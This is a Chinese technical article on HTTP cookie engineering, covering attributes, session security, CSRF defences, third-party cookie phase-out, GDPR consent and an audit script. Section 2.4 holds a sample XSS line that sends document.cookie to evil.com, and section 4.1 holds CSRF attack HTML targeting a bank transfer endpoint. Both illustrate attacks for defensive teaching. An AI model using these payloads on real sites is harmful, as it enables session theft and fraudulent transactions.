Cookie 是 HTTP 协议中唯一的内置状态管理机制。从 1994 年 Netscape 发明 Cookie 到今天,它承载了用户认证、会话追踪、个性化设置等几乎所有需要在无状态的 HTTP 上维护状态的需求。但 Cookie 也是 Web 安全的高危区——XSS 窃取、CSRF 攻击、隐私追踪——每一个安全漏洞的背后都与 Cookie 的设计细节相关。
本文从工程师视角系统剖析 Cookie 的每一个属性、安全含义和现代限制,覆盖第三方 Cookie 消亡后的替代方案和 CSRF 防护的当前最佳实践。
一、Cookie 基础:Set-Cookie 与 Cookie 头
1.1 设置 Cookie
# 服务端通过 Set-Cookie 响应头设置 Cookie
HTTP/2 200 OK
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Set-Cookie: tracking=xyz789; Domain=.example.com; Path=/; Secure; SameSite=None
# 客户端在后续请求中自动携带匹配的 Cookie
GET /api/profile HTTP/2
Cookie: session_id=abc123; theme=dark; tracking=xyz789
1.2 Cookie 的大小限制
| 限制 | 规范要求 | 实际浏览器实现 |
|---|---|---|
| 单个 Cookie 大小 | ≥4096 字节 | ~4096 字节 |
| 每个域名 Cookie 数量 | ≥50 个 | 50-180 个 |
| 所有 Cookie 总大小 | 无规范 | ~80-180 KB |
# 检查 Cookie 大小
curl -sI https://example.com | grep -i set-cookie | wc -c
# 当 Cookie 超过限制时,浏览器会静默丢弃旧 Cookie
# 没有错误提示,这使得 Cookie 丢失问题很难调试1.3 Cookie 的性能影响
每个 HTTP 请求都会携带该域名下的所有 Cookie。对于一个典型的网站:
Cookie 大小: ~2 KB
每次页面加载的 HTTP 请求数: ~100
Cookie 流量: 2 KB × 100 = 200 KB(上行)
对移动网络(上行带宽有限)的影响:
4G 上行 ~5 Mbps: 200 KB × 8 / 5 Mbps = 320 ms 额外延迟
缓解策略:
1. 静态资源使用无 Cookie 域名
# 主站: example.com(携带 Cookie)
# 静态资源: static.example.com 或 cdn.example.com(不设 Cookie)
# 确保 Domain 属性不包含静态域名
2. 减少 Cookie 数量和大小
# 不要在 Cookie 中存储大量数据
# 使用服务端 Session,Cookie 只存 Session ID
3. 使用 HTTP/2 HPACK 压缩
# HPACK 会自动压缩重复的 Cookie 头
# HTTP/2 下 Cookie 的额外开销显著降低
二、Cookie 属性完整解析
2.1 Domain 属性
Domain 属性指定哪些域名可以接收这个 Cookie:
# 不设置 Domain:只匹配精确域名(不含子域名)
Set-Cookie: session=abc; Path=/
# 只有 www.example.com 发送的请求会携带
# sub.example.com 不会携带
# 设置 Domain:匹配指定域名及其所有子域名
Set-Cookie: session=abc; Domain=example.com; Path=/
# example.com、www.example.com、api.example.com 都会携带
# 注意:浏览器会自动添加前导点 .example.com
# 安全限制:
# 1. 不能设置非当前域名的 Cookie
# 在 a.com 上不能设置 Domain=b.com 的 Cookie
# 2. 不能设置公共后缀的 Cookie
# 不能设置 Domain=.com 或 Domain=.co.uk
# 浏览器使用 Public Suffix List (PSL) 判断
Domain 的工程陷阱:
# 子域名 Cookie 泄漏
# 场景:主站 www.example.com 设置了 Domain=.example.com 的 Cookie
# 结果:第三方托管的 blog.example.com 也能访问这个 Cookie
# 解决方案:
# 1. 敏感 Cookie 不设置 Domain(只匹配精确域名)
# 2. 使用不同的顶级域名隔离不同服务
# 主站: example.com
# 内部工具: example-internal.com
2.2 Path 属性
# Path 限制 Cookie 的 URL 路径范围
Set-Cookie: admin_token=xyz; Path=/admin
# 只有 /admin 及其子路径的请求会携带
# /admin、/admin/users、/admin/settings → 携带
# /、/api、/public → 不携带
# 注意:Path 不是安全边界!
# 同域名下的 JavaScript 可以通过 iframe 或 fetch 读取其他路径的 Cookie
# 不要依赖 Path 做访问控制
2.3 Secure 属性
# Secure: Cookie 只在 HTTPS 请求中发送
Set-Cookie: session=abc; Secure
# HTTP 请求不会携带这个 Cookie
# 防止 Cookie 在不安全的网络传输中被窃取
# 实际影响:
# 1. HTTP → HTTPS 重定向时:HTTP 请求不携带 Secure Cookie
# 2. 混合内容(Mixed Content): HTTP 子资源请求不携带 Secure Cookie
# 3. localhost 例外:大多数浏览器在 localhost 上允许 HTTP 设置 Secure Cookie
# 最佳实践:所有敏感 Cookie 都应该设置 Secure
2.4 HttpOnly 属性
# HttpOnly: 禁止 JavaScript 访问 Cookie
Set-Cookie: session=abc; HttpOnly
# document.cookie 无法读取此 Cookie
# 只有 HTTP 请求头中可以看到
# 防御 XSS 窃取 Cookie:
# 攻击场景(没有 HttpOnly):
# <script>
# fetch('https://evil.com/steal?cookie=' + document.cookie)
# </script>
# → session Cookie 被发送到攻击者服务器
# 有 HttpOnly:
# document.cookie 返回空字符串(针对 HttpOnly Cookie)
# XSS 无法直接窃取 session Cookie
# 注意:HttpOnly 不能完全防御 XSS
# XSS 仍然可以以用户身份发送请求(Cookie 自动携带)
# 只是不能读取 Cookie 的值
2.5 SameSite 属性
SameSite 是 Cookie 安全的最重要进展之一。它控制 Cookie 在跨站请求中是否发送:
# SameSite=Strict: 跨站请求绝不发送 Cookie
Set-Cookie: session=abc; SameSite=Strict
# 用户从 evil.com 点击链接到 example.com → 不携带 Cookie
# 用户在 evil.com 的表单提交到 example.com → 不携带 Cookie
# 用户在地址栏输入 example.com → 携带 Cookie
# SameSite=Lax: 跨站的顶级导航(链接)发送,跨站子请求不发送
Set-Cookie: session=abc; SameSite=Lax
# 用户从 evil.com 点击链接到 example.com → ✅ 携带
# evil.com 的 <form method="POST"> 到 example.com → ❌ 不携带
# evil.com 的 <img src="example.com/api"> → ❌ 不携带
# evil.com 的 fetch("example.com/api") → ❌ 不携带
# SameSite=None: 跨站请求也发送(必须同时设置 Secure)
Set-Cookie: tracking=xyz; SameSite=None; Secure
# 允许在任何跨站场景中发送
# 必须与 Secure 配合使用(否则浏览器拒绝)
“同站”(Same-Site)的定义:
同站(Same-Site): 注册域名(eTLD+1)相同
www.example.com 和 api.example.com → 同站 ✅
example.com 和 example.org → 跨站 ❌
a.github.io 和 b.github.io → 跨站 ❌(github.io 是公共后缀)
同源(Same-Origin): 协议 + 域名 + 端口 完全相同
http://example.com 和 https://example.com → 同源 ❌(协议不同)
example.com:80 和 example.com:443 → 同源 ❌(端口不同)
# SameSite 基于"同站"判断,比"同源"更宽松
2.6 Max-Age 与 Expires
# Max-Age: Cookie 的生存时间(秒)
Set-Cookie: session=abc; Max-Age=86400
# 86400 秒 = 1 天后过期
# Expires: Cookie 的过期时间(绝对时间)
Set-Cookie: session=abc; Expires=Sun, 27 Jul 2025 00:00:00 GMT
# 两者同时存在时,Max-Age 优先(RFC 6265)
# Max-Age=0 或 Expires=过去时间: 立即删除 Cookie
Set-Cookie: session=; Max-Age=0
# 浏览器收到后立即删除名为 session 的 Cookie
# 不设置 Max-Age 和 Expires: Session Cookie(浏览器关闭后删除)
Set-Cookie: temp=xyz
# 注意:现代浏览器的"恢复会话"功能可能保留 Session Cookie
2.7 Cookie 前缀(Cookie Prefixes)
Cookie 前缀是一种安全增强机制,通过名称前缀强制 Cookie 必须满足特定条件:
# __Secure- 前缀: 必须设置 Secure 属性
Set-Cookie: __Secure-session=abc; Secure; Path=/
# 如果没有 Secure,浏览器拒绝设置
# __Host- 前缀: 必须设置 Secure,必须 Path=/,不能设置 Domain
Set-Cookie: __Host-session=abc; Secure; Path=/
# 最安全的 Session Cookie 设置方式:
# 1. 必须 HTTPS
# 2. 只限当前域名(不含子域名)
# 3. 适用于所有路径
# 错误示例(浏览器拒绝设置):
Set-Cookie: __Host-session=abc; Secure; Path=/; Domain=example.com # ❌ 不能设 Domain
Set-Cookie: __Host-session=abc; Path=/ # ❌ 必须 Secure
Set-Cookie: __Secure-session=abc; Path=/ # ❌ 必须 Secure
三、Session 管理工程
3.1 服务端 Session vs 客户端 Token
┌──────────────────────────────────────────────────┐
│ 服务端 Session 模式 │
│ │
│ 客户端 Cookie 服务端 Session Store │
│ ┌────────────┐ ┌─────────────────────┐ │
│ │session_id= │────→│ abc123: │ │
│ │abc123 │ │ user_id: 42 │ │
│ └────────────┘ │ role: admin │ │
│ │ login_at: ... │ │
│ └─────────────────────┘ │
│ 优点: Cookie 小、可即时失效、数据在服务端 │
│ 缺点: 需要共享存储(Redis)、有状态 │
└──────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────┐
│ 客户端 Token 模式(JWT) │
│ │
│ Cookie / Authorization Header │
│ ┌────────────────────────────────────────┐ │
│ │eyJhbGciOiJSUzI1NiJ9. │ │
│ │eyJ1c2VyX2lkIjo0Miwicm9sZSI6ImFkbWluIi │ │
│ │wiaWF0IjoxNjkwMDAwMDAwfQ. │ │
│ │<signature> │ │
│ └────────────────────────────────────────┘ │
│ 优点: 无状态、无需共享存储、可跨服务 │
│ 缺点: Token 大、无法即时失效、数据在客户端 │
└──────────────────────────────────────────────────┘
3.2 Session ID 的安全要求
# Session ID 必须满足:
# 1. 足够长(至少 128 bit 随机性)
# 2. 密码学安全的随机数生成器
# 3. 不可预测
import secrets
# ✅ 安全的 Session ID 生成
session_id = secrets.token_hex(32) # 64 字符十六进制,256 bit
# 示例: "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6a7b8c9d0e1f2a3b4c5d6a7b8c9d0e1f2"
# ❌ 不安全的做法
import random
session_id = str(random.randint(0, 1000000)) # 可预测!
session_id = hashlib.md5(str(user_id).encode()).hexdigest() # 可推算!// Go: 安全的 Session ID 生成
package main
import (
"crypto/rand"
"encoding/hex"
)
func generateSessionID() (string, error) {
b := make([]byte, 32) // 256 bit
_, err := rand.Read(b)
if err != nil {
return "", err
}
return hex.EncodeToString(b), nil
}3.3 Session 存储选型
| 存储方式 | 延迟 | 容量 | 持久性 | 共享性 | 适用场景 |
|---|---|---|---|---|---|
| 内存(进程内) | <1 μs | 小 | 重启丢失 | 不可共享 | 单机开发/测试 |
| Redis | ~1 ms | 大 | 可持久化 | 可共享 | 生产环境首选 |
| Memcached | ~1 ms | 大 | 不持久化 | 可共享 | 纯缓存场景 |
| 数据库 | ~5 ms | 极大 | 持久化 | 可共享 | 需要审计/合规 |
# Redis Session 存储示例
# 设置 Session(TTL 24 小时)
redis-cli SET session:abc123 '{"user_id":42,"role":"admin"}' EX 86400
# 查询 Session
redis-cli GET session:abc123
# 删除 Session(登出)
redis-cli DEL session:abc123
# 监控 Session 存储
redis-cli INFO keyspace
# db0:keys=150000,expires=150000 # 15 万个活跃 Session3.4 Session 固定攻击(Session Fixation)
攻击流程:
1. 攻击者访问目标网站,获得一个 Session ID: evil_session_id
2. 攻击者诱导受害者使用这个 Session ID 登录
例如: https://example.com/login?sid=evil_session_id
3. 受害者登录后,evil_session_id 关联了受害者的身份
4. 攻击者使用 evil_session_id 访问受害者的账户
防御:登录后重新生成 Session ID
# Flask: 登录后重新生成 Session ID
from flask import session
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
if user:
# ✅ 重新生成 Session ID(防止 Session Fixation)
session.regenerate()
session['user_id'] = user.id
return redirect('/dashboard')四、CSRF 防护的现代实践
4.1 CSRF 攻击原理
跨站请求伪造(CSRF,Cross-Site Request Forgery)利用浏览器自动携带 Cookie 的行为:
<!-- evil.com 上的攻击页面 -->
<!-- 方式 1: 自动提交的表单 -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('f').submit();</script>
<!-- 方式 2: 图片标签(GET 请求的 CSRF) -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- 用户访问 evil.com 时:
浏览器自动携带 bank.com 的 Cookie
bank.com 无法区分"用户主动操作"和"恶意页面触发" -->4.2 SameSite Cookie 防御
SameSite 是目前最有效的 CSRF 防御手段。Chrome 80(2020 年
2 月)开始将未设置 SameSite 的 Cookie 默认为
Lax。
# 最佳实践:Session Cookie 使用 SameSite=Lax
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400
# SameSite=Lax 防护效果:
# ✅ 阻止: POST 表单提交(evil.com → bank.com)
# ✅ 阻止: fetch/XMLHttpRequest 跨站请求
# ✅ 阻止: <img>/<iframe> 等子资源请求
# ❌ 不阻止: 用户点击链接导航到 bank.com(这是期望行为)
4.3 CSRF Token 防御
对于需要兼容旧浏览器的场景,CSRF Token 仍然是必要的补充:
<!-- 服务端在表单中嵌入 CSRF Token -->
<form action="/api/transfer" method="POST">
<input type="hidden" name="csrf_token"
value="random_token_per_session_or_per_request" />
<input type="text" name="amount" />
<button type="submit">转账</button>
</form># Flask-WTF 的 CSRF 保护
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
# 自动验证所有 POST/PUT/DELETE 请求的 CSRF Token
# Token 可以在表单或 X-CSRFToken 头中提交4.4 Double-Submit Cookie 模式
原理:
1. 服务端设置一个随机 CSRF Cookie
2. 客户端在请求头或表单中提交同样的值
3. 服务端验证两者一致
为什么有效:
- 攻击者可以让浏览器发送 Cookie(自动携带)
- 但攻击者无法读取 Cookie 的值(受同源策略保护)
- 因此攻击者无法在请求头/表单中填入正确的值
// 前端: 从 Cookie 中读取 CSRF Token,放入请求头
function getCookie(name) {
const value = document.cookie
.split('; ')
.find(row => row.startsWith(name + '='))
?.split('=')[1];
return value;
}
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf_token') // 从 Cookie 读取
},
body: JSON.stringify({ to: 'alice', amount: 100 })
});4.5 现代 CSRF 防护推荐策略
优先级从高到低:
1. SameSite=Lax + HTTPS(覆盖 90%+ 场景)
Set-Cookie: __Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/
2. CSRF Token(需要支持跨站 POST 的场景)
- Synchronizer Token Pattern
- Double-Submit Cookie
3. Origin / Referer 检查(辅助手段)
- 验证 Origin 头匹配预期域名
- Referer 可以被用户禁用,不能作为唯一防线
4. Custom Request Header(API 场景)
- 要求所有 API 请求携带自定义头(如 X-Requested-With)
- 简单请求不能设置自定义头(触发 CORS 预检)
五、第三方 Cookie 的消亡
5.1 什么是第三方 Cookie
当用户访问 example.com 时:
example.com 设置的 Cookie → 第一方 Cookie(First-party)
ad-tracker.com 设置的 Cookie → 第三方 Cookie(Third-party)
第三方 Cookie 的来源:
<img src="https://ad-tracker.com/pixel.gif" /> → 第三方请求
<iframe src="https://social.com/like-button" /> → 第三方请求
<script src="https://analytics.com/track.js" /> → 第三方请求
ad-tracker.com 可以在响应中 Set-Cookie
→ 用户后续访问任何嵌入 ad-tracker.com 的网站
→ 浏览器都会携带这个 Cookie
→ ad-tracker.com 可以跨网站追踪用户
5.2 浏览器限制时间线
| 时间 | 浏览器 | 行动 |
|---|---|---|
| 2017.06 | Safari | ITP 1.0: 限制第三方 Cookie(24 小时后清除) |
| 2019.09 | Firefox | ETP: 默认阻止已知追踪器的第三方 Cookie |
| 2020.02 | Chrome | SameSite=Lax 默认值 |
| 2020.03 | Safari | ITP: 完全阻止第三方 Cookie |
| 2024 | Chrome | 开始 Privacy Sandbox 测试 |
| 2025+ | Chrome | 逐步限制第三方 Cookie |
5.3 替代方案
第三方 Cookie 消亡后,不同用例的替代方案:
1. 跨站认证(SSO):
→ OAuth 2.0 / OpenID Connect
→ 用户主动授权的重定向流程,不依赖第三方 Cookie
2. 广告归因:
→ Privacy Sandbox Attribution Reporting API
→ 浏览器本地处理归因,不暴露跨站身份
3. 跨站状态共享(企业内部):
→ Related Website Sets (RWS)
→ 声明相关域名集合,允许有限的 Cookie 共享
4. 嵌入式内容(iframe 中的登录):
→ Storage Access API
→ 用户授权后允许 iframe 访问自己的第一方 Cookie
5. 用户行为分析:
→ Topics API(替代 FLoC)
→ 浏览器本地计算兴趣主题,不暴露浏览历史
5.4 Storage Access API
// 嵌入在 iframe 中的第三方页面请求 Cookie 访问
// 需要用户手势(如点击按钮)触发
document.getElementById('login-btn').addEventListener('click', async () => {
// 检查是否已有存储访问权限
const hasAccess = await document.hasStorageAccess();
if (!hasAccess) {
// 请求存储访问权限(会弹出浏览器提示)
try {
await document.requestStorageAccess();
console.log('用户授权了 Cookie 访问');
// 现在可以在 iframe 中访问第一方 Cookie
} catch (err) {
console.log('用户拒绝了 Cookie 访问');
}
}
// 有权限后,Cookie 正常工作
const resp = await fetch('/api/profile', { credentials: 'include' });
});六、Cookie 与隐私合规
6.1 GDPR 与 Cookie 同意
<!-- Cookie 同意横幅(GDPR 要求) -->
<!-- 要求:
1. 首次访问时不设置非必要 Cookie
2. 用户明确同意后才能设置追踪/分析 Cookie
3. 用户可以随时撤回同意
4. "拒绝"必须和"接受"一样容易 -->Cookie 分类(按 GDPR):
1. 必要 Cookie(Strictly Necessary)
- 例如: session_id、csrf_token、language preference
- 无需用户同意
- 不能是追踪 Cookie
2. 功能 Cookie(Functional)
- 例如: 记住登录状态、用户偏好
- 需要用户同意
3. 分析 Cookie(Analytics)
- 例如: Google Analytics _ga、_gid
- 需要用户同意
4. 广告/追踪 Cookie(Marketing/Tracking)
- 例如: Facebook Pixel、Google Ads
- 需要用户同意
6.2 Cookie 同意的工程实现
// Cookie 同意管理的最小实现
const CONSENT_COOKIE = '__cookie_consent';
function setConsent(categories) {
// 存储用户的同意选择
document.cookie = `${CONSENT_COOKIE}=${JSON.stringify(categories)}; ` +
`path=/; max-age=${365 * 86400}; secure; samesite=lax`;
// 根据同意选择加载对应的脚本
if (categories.analytics) {
loadAnalytics();
}
if (categories.marketing) {
loadMarketing();
}
}
function getConsent() {
const cookie = document.cookie
.split('; ')
.find(row => row.startsWith(CONSENT_COOKIE + '='));
return cookie ? JSON.parse(cookie.split('=')[1]) : null;
}
// 页面加载时检查同意状态
const consent = getConsent();
if (consent === null) {
showConsentBanner(); // 首次访问,显示同意横幅
} else {
if (consent.analytics) loadAnalytics();
if (consent.marketing) loadMarketing();
}七、Cookie 安全检查清单
7.1 推荐的 Cookie 设置
# Session Cookie(最安全配置)
Set-Cookie: __Host-session=<random>; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400
# 各属性的作用:
# __Host- → 强制 Secure + Path=/ + 无 Domain
# Secure → 仅 HTTPS
# HttpOnly → 禁止 JavaScript 访问
# SameSite=Lax → 阻止跨站 POST/子资源请求
# Path=/ → 全站可用
# Max-Age → 明确过期时间(不依赖浏览器关闭)
# 记住我(Remember Me)Cookie
Set-Cookie: __Secure-remember=<token>; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=2592000
# 用户偏好(非敏感)
Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax
# 不需要 HttpOnly(JavaScript 需要读取)
# 不需要 Secure(非敏感数据)
7.2 安全审计脚本
#!/bin/bash
# cookie_audit.sh - 检查网站 Cookie 安全设置
URL="${1:-https://example.com}"
echo "=== Cookie Security Audit: $URL ==="
cookies=$(curl -sI "$URL" | grep -i "set-cookie")
if [ -z "$cookies" ]; then
echo "No cookies set."
exit 0
fi
echo "$cookies" | while IFS= read -r line; do
echo ""
echo "Cookie: $line"
# 检查 Secure 属性
if echo "$line" | grep -qi "secure"; then
echo " ✅ Secure: Yes"
else
echo " ❌ Secure: No (Cookie may be sent over HTTP)"
fi
# 检查 HttpOnly 属性
if echo "$line" | grep -qi "httponly"; then
echo " ✅ HttpOnly: Yes"
else
echo " ⚠️ HttpOnly: No (accessible via JavaScript)"
fi
# 检查 SameSite 属性
if echo "$line" | grep -qi "samesite=strict"; then
echo " ✅ SameSite: Strict"
elif echo "$line" | grep -qi "samesite=lax"; then
echo " ✅ SameSite: Lax"
elif echo "$line" | grep -qi "samesite=none"; then
echo " ⚠️ SameSite: None (cross-site allowed)"
else
echo " ⚠️ SameSite: Not set (defaults to Lax in modern browsers)"
fi
# 检查 __Host- 或 __Secure- 前缀
if echo "$line" | grep -q "__Host-"; then
echo " ✅ Prefix: __Host- (maximum security)"
elif echo "$line" | grep -q "__Secure-"; then
echo " ✅ Prefix: __Secure-"
fi
done7.3 常见安全错误
# ❌ 错误 1: Session Cookie 没有 HttpOnly
Set-Cookie: session=abc123; Path=/
# XSS 可以直接窃取 session
# ❌ 错误 2: 敏感 Cookie 没有 Secure
Set-Cookie: session=abc123; HttpOnly; Path=/
# HTTP 明文传输可被中间人窃取
# ❌ 错误 3: SameSite=None 但没有 Secure
Set-Cookie: tracking=xyz; SameSite=None
# 现代浏览器会拒绝设置
# ❌ 错误 4: Domain 设置过于宽泛
Set-Cookie: session=abc123; Domain=.example.com; HttpOnly; Secure
# 所有子域名都能访问 session Cookie
# 如果某个子域名被攻破,session 也会泄露
# ✅ 正确: 使用 __Host- 前缀
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
八、Cookie 调试实战
8.1 浏览器调试
Chrome DevTools:
1. Application → Cookies → 查看/编辑/删除 Cookie
2. Network → 请求详情 → Cookies 标签 → 查看发送和接收的 Cookie
3. Console → document.cookie → 查看非 HttpOnly Cookie
# 常见调试场景:
# Q: 为什么 Cookie 没有发送?
# A: 检查 Domain、Path、Secure、SameSite 是否匹配
# Q: 为什么 Set-Cookie 没有生效?
# A: 检查 Chrome DevTools → Issues 面板中的 Cookie 警告
# 常见原因: SameSite=None 缺少 Secure、跨站请求被 SameSite=Lax 阻止
8.2 curl 调试
# 查看服务端设置的 Cookie
curl -v https://example.com 2>&1 | grep -i "set-cookie"
# 带 Cookie 发送请求
curl -b "session=abc123; theme=dark" https://example.com/api/profile
# 保存和发送 Cookie(模拟浏览器会话)
curl -c cookies.txt https://example.com/login # 保存 Cookie
curl -b cookies.txt https://example.com/dashboard # 发送 Cookie
# 查看 Cookie 文件
cat cookies.txt
# 格式: domain flag path secure expiry name value九、总结
Cookie 工程的核心要点:
安全配置是默认选择。Session Cookie 应该始终使用
__Host-session=<value>; Secure; HttpOnly; SameSite=Lax; Path=/。这不是过度防御,而是正确的基线。SameSite=Lax 是当前最有效的 CSRF 防御。它覆盖了大部分攻击场景,同时不影响正常的用户体验(点击链接仍然能登录)。但对于高安全要求的场景(如金融),仍然建议补充 CSRF Token。
第三方 Cookie 正在消亡。如果你的业务依赖第三方 Cookie(跨站追踪、嵌入式登录),需要迁移到替代方案(Storage Access API、OAuth、Privacy Sandbox)。
Cookie 大小影响性能。特别是在移动网络环境下,过大的 Cookie 会显著增加请求延迟。静态资源应该使用无 Cookie 的域名。
Cookie 不是安全边界。Path 不能做访问控制,Domain 不能做隔离。真正的安全边界是同源策略(Same-Origin Policy)。Cookie 的安全属性(Secure、HttpOnly、SameSite)是补充措施,不是替代品。
参考文献
- RFC 6265: HTTP State Management Mechanism
- RFC 6265bis: Cookies: HTTP State Management Mechanism (Revision)
- OWASP: Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
- Chrome Platform Status: SameSite Cookie Changes
- W3C Storage Access API Specification
上一篇:HTTP 缓存工程:Cache-Control 全景与条件请求
下一篇:HTTP 压缩与传输编码:gzip、Brotli 与 zstd 工程选型
同主题继续阅读
把当前热点继续串成多页阅读,而不是停在单篇消费。
【网络工程】HTTP 安全头完整实战:CORS、CSP、HSTS
系统剖析 HTTP 安全头的工程实践:CORS 预检与跨域策略、CSP 内容安全策略的渐进部署、HSTS 与 Preload、X-Frame-Options、Referrer-Policy。覆盖安全头的审计方法与自动化测试。
【网络工程】QUIC 生态与工程部署:从实验到生产
QUIC 已经不是实验性协议——HTTP/3 标准化后,CDN、浏览器和主流服务端框架都在推进 QUIC 支持。本文从工程视角对比主流 QUIC 库的成熟度和性能特征,讲解 CDN/负载均衡器的 QUIC 适配方案、从 TCP 迁移到 QUIC 的渐进路径、QUIC 调试工具链,以及生产环境的部署陷阱和性能调优实践。
【网络工程】eBPF 可编程网络:从包过滤到流量工程
eBPF 正在重新定义网络工程——从传统的 iptables/netfilter 规则堆砌,到可编程、可观测、高性能的网络数据平面。本文系统讲解 eBPF 网络程序类型(XDP/TC/Socket)、Map 数据结构、Cilium 的 eBPF 数据平面实现,以及 eBPF 在负载均衡、可观测性和网络安全中的工程实践。
【网络工程】可编程数据平面与 P4:软件定义转发
传统网络设备的转发逻辑固化在硬件中。P4 语言让交换机的转发管线可编程——你可以定义自己的包头解析、匹配规则和转发动作。本文从 P4 语言核心概念出发,讲解 Parser/Match-Action/Deparser 的编程模型、可编程交换机芯片(Tofino)的架构、P4 在数据中心和运营商网络中的应用案例,以及 P4 与 eBPF 的定位差异。